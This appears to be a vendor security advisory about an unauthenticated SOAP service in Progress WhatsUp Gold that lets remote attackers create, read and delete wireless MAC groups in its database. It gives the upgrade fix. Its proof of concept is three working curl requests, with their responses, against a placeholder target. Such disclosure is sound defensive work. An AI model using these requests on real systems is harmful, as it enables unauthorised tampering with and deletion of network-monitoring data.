Synopsis
A database manipulation vulnerability exists in Progress WhatsUp Gold (WUG). NmConfigurationManager.exe in WUG is a Windows Communication Foundation (WCF) application. It implements a service contract for IWirelessAPIConfiguration that allows unauthenticated access. An unauthenticated remote attacker can add, view, and delete wireless MAC groups used in WUG. The MAC group manipulation affects associated tables (i.e., WhatsUp.dbo.WrlsMacAddressGroup) in the WUG database and the WUG web GUI that interacts with the database.
Solution
Upgrade to version v24.0.3 or later.
Proof of Concept
curl -sk -H 'Content-Type:text/xml' -H 'SOAPAction:<http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/CreateMACGroup'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><CreateMACGroup xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><groupName>Group123</groupName><groupDescription>GroupDescription</groupDescription></CreateMACGroup></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><CreateMACGroupResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><CreateMACGroupResult>1</CreateMACGroupResult></CreateMACGroupResponse></s:Body></s:Envelope>
# call FetchAllGroupsWithNonMACEntries(); fetch rows in WhatsUp.dbo.WrlsMacAddressGroup
curl -sk -H 'Content-Type:text/xml' -H 'SOAPAction: <http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/FetchAllGroupsWithNonMACEntries'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><FetchAllGroupsWithNonMACEntries xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"/></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><FetchAllGroupsWithNonMACEntriesResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><FetchAllGroupsWithNonMACEntriesResult xmlns:a="<http://schemas.datacontract.org/2004/07/NmContracts.Wireless>" xmlns:i="<http://www.w3.org/2001/XMLSchema-instance>"><a:EntityWirelessMACGroup><a:Entries i:nil="true"/><a:GroupDescription>GroupDescription</a:GroupDescription><a:GroupDisplayName>Group123</a:GroupDisplayName><a:GroupID>1</a:GroupID></a:EntityWirelessMACGroup></FetchAllGroupsWithNonMACEntriesResult></FetchAllGroupsWithNonMACEntriesResponse></s:Body></s:Envelope>
# call RemoveMACGroups() to remove the group with ID of 1; delete a row in WhatsUp.dbo.WrlsMacAddressGroup
curl -ski -H 'Content-Type:text/xml' -H 'SOAPAction: <http://www.ipswitch.com/WirelessAPIConfiguration/IWirelessAPIConfiguration/RemoveMACGroups'> -d '<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><RemoveMACGroups xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"><groupIDs><int xmlns="<http://schemas.microsoft.com/2003/10/Serialization/Arrays>">1</int></groupIDs></RemoveMACGroups></s:Body></s:Envelope>' '<http://<target-host>>:9719/NmWireless/WirelessAPIConfiguration'
<s:Envelope xmlns:s="<http://schemas.xmlsoap.org/soap/envelope/>"><s:Body><RemoveMACGroupsResponse xmlns="<http://www.ipswitch.com/WirelessAPIConfiguration>"/></s:Body></s:Envelope>
Additional References
https://docs.progress.com/bundle/whatsupgold-release-notes-24-0/page/WhatsUp-Gold-2024.0-Release-Notes.htmlDisclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]